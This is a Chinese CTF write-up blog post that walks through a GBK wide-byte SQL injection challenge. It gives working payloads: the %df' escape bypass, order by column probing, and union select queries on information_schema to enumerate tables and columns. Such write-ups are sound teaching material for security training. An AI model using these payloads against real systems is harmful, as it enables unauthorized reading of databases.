南邮CTF--SQL注入题

南邮CTF--SQL注入题

题目:GBK SQL injection

解析:

1.判断注入点:加入单引号发现被反斜杠转移掉了,换一个,看清题目,GBK,接下来利用宽字节进行注入

2.使用'%df' '进行注入,emm报错,于是加入老手段,and 1=1 %23,ok,没报错,说明成功

3.继续改参数,1=2时,没有任何信息,找到注入点

4.利用order by 查询列数,当查询2时,显示正常,那么查询3时,显示错误,确定为2列。

5.既然查询到列,使用联合查询,union select 1,2 %23,

6.获取当前数据库:union select 1,database() %23

7.获取当前数据库名: id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=0x7361652d6368696e616c6f766572 %23

group_concat(table_name) 分组以后,把想要显示的列通过gruop_concat()函数拼接在一起。

information_schema.TABLES 切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

8.获取表名(ctf-4)id=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMNS where table_name=0x63746634 %23

 

posted @ 2019-05-18 15:08  4eg1s  阅读(1035)  评论(0编辑  收藏  举报